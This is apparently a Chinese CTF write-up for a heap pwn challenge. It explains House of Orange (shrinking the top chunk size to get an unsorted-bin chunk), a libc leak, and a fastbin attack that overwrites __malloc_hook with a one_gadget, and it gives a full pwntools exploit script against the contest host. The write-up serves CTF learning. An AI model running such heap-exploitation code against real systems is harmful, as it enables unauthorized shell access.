极客巅峰第一道pwn

0x0 解题思路

首先发现uaf漏洞但是只能showfree一次,而且free掉的chunk只能被top_chunk合并。所以考虑利用溢出到top chunk修改top chunk的size然后再次malloc泄露出libc,利用fastbin attack劫持malloc_hookonegadget获取shell

0x01 流程

  • 溢出到top_chunk的size,修改其为一个较小的值
  • malloc一个大于刚才size的值,这时这个chunk会被添加到unsort_bin中,fdbk指针被置为libc里的地址
  • 再次malloc一个chunk
  • 利用show泄露出libc的地址
  • uaf劫持malloc_hook
  • 获取shell

    0x02 新学到的知识

    Unsorted Bin Attack

    初始状态时 unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。

    House Of Orange

概述

House of Orange 的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在 free 函数或其他释放堆块的函数。我们知道一般想要利用堆漏洞,需要对堆块进行 malloc 和 free 操作,但是在 House of Orange 利用中无法使用 free 函数,因此 House of Orange 核心就是通过漏洞利用获得 free 的效果。

原理

如我们前面所述,House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

进行chunk的分配时的顺序:

  • fastbin
  • small bins
  • unsorted bins
  • large bins
  • top chunk

如果以上都不能满足申请的需求,则需要执行 sysmalloc 来向系统申请更多的空间。但是对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。

伪造的 top chunk size 的要求:

  1. 伪造的size必须对齐内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

malloc_hook劫持

何谓钩子函数,当一个函数挂载了钩子函数后,你执行这个函数时,实际执行的是钩子函数

通过泄露libc可以找到hook的地址

Fastbin Attack To stack

必须满足fake chunk的size在fastbin的范围

0x03 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
#sh = process('./pwn')
sh = remote('55fca716.gamectf.com',37009)

def add_note(size, content):
sh.send('1')
sleep(0.5)
sh.sendafter('Size > ',size)
sh.sendafter('Content >',content)
sh.recvuntil('Your choice > ')

def show_note():
sh.send('2')
data = u64(sh.recvuntil('Done!\n')[8:16])
print hex(data)
sh.recvuntil('Your choice > ')
return data


def delete_note():
sh.send('3')
sh.recvuntil('Your choice > ')

def edit_note(size, content):
sh.sendline('4')
sleep(0.5)
sh.recvuntil('Size > ')
sh.send(size)
sh.recvuntil('Content > ')
sh.send(content)
sh.recvuntil('Your choice > ')

gdb.attach(sh)

fake_chunk_size = 0xfe1

payload =''
payload += 'a'*24
payload += p64(fake_chunk_size)

sh.sendlineafter("What's your name?\n", 'aaaa')
sh.recvuntil('Your choice > ')

add_note('24', 'deadbeef')
edit_note('32',payload)
add_note('4096', 'deadbeef')
add_note('96','deadbeef')
addr = show_note()
libcbase = addr - 1640 - 0x3c4b20
one_gadget = libcbase + 0xf02a4
malloc_hook_offset = 0x3C4B10
malloc_hook_addr = libcbase + malloc_hook_offset-11-24
log.info('malloc_addr: ' + hex(malloc_hook_addr))
log.info('one_gadget_addr: '+ hex(one_gadget))
delete_note()
edit_note('8',p64(malloc_hook_addr))
add_note('96','deadbeef')
add_note('96','a'*19+p64(one_gadget))
sh.sendline('1')
sleep(0.2)
sh.send('24')
#pause()


sh.interactive()

0x04 一些有待解决的迷惑问题

recvuntil 和 sendline总是容易出问题

-------------本文结束感谢您的阅读-------------
+ +